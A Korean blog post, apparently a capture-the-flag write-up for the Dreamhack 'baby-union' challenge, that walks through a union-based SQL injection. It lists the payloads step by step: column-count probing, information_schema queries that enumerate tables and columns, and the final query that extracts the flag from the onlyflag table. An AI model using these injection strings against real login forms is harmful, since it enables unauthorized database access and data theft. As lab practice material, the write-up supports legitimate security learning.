baby-union | 워게임 | Dreamhack | 워게임 | Dreamhack
baby-union
Description 로그인 시 계정의 정보가 출력되는 웹 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다. 플래
dreamhack.io
문제에 들어가보니 로그인 창이 떴고 아무거나 입력했을 때 변화가 없어서 주어진 파일을 확인하였다.

코드를 확인해보니 가짜 테이블이 있고 flag 컬럼들에 나눠 저장되어 있는 것 같다. 테이블과 컬럼 이름을 알아낸 뒤, union select를 이용해 fake_table_name의 데이터를 추출하면 flag를 얻을 수 있을 것 같다.
[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)
[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)
본문의 내용을 가지고 어떠한 프로그램에 공격을 시행하여 발생하는 일은 전적으로 공격을 시행한 본인에게 있습니다. 반드시 실습은 본인이 구축하여 시행하시길 바랍니다. ========================
c-i-s.tistory.com
이 자료를 참고하여 union injection공격 방법이 뭔지 배우고 어떤 쿼리를 입력하여 해결할 수 있는지 확인하였다.
먼저 컬럼 수가 총 몇개인지 확인하였다. uid부분에
admin'union select 1#
admin'union select 1,2,#
admin'union select 1,2,3,#
admin'union select 1,2,3,4#
로 하나씩 늘려가며 어느부분에서 실행되는지 확인하였고 컬럼 수는 총 4개라는 것을 확인하였다.

다음은 테이블 명을 확인할 수 있는 'UNION SELECT ALL null,null,null,null,table_name from information_schema.table#를 입력하여 어떤 테이블들이 있는지 확인하였고 flag가 있을 법한 테이블을 찾았다.


계속 내려보다가 onlyflag라는 테이블을 찾았고 해당 테이블의 컬럼을 확인하기로 하였다.
'union select column_name,2,3,4 from information_schema.columns where table_name='onlyflag'#를 입력하니 다음과 같은 화면이 나왔다.

컬럼들을 조회할 수 있는 ' union select sname, svalue, sflag, sclose from onlyflag # 를 입력하여 컬럼의 데이터를 확인하였고 flag값을 얻었다.

'웹해킹' 카테고리의 다른 글
| [suninatas]Game 02 풀이 (0) | 2025.05.15 |
|---|---|
| [Dreamhack]ex-reg-ex풀이 (0) | 2025.05.13 |
| [Dreamhack]Apache htaccess 풀이 (0) | 2025.05.12 |
| [Root me] Directory traversal 풀이 (0) | 2025.05.07 |
| [Dreamhack]file-download-1 풀이 (0) | 2025.05.07 |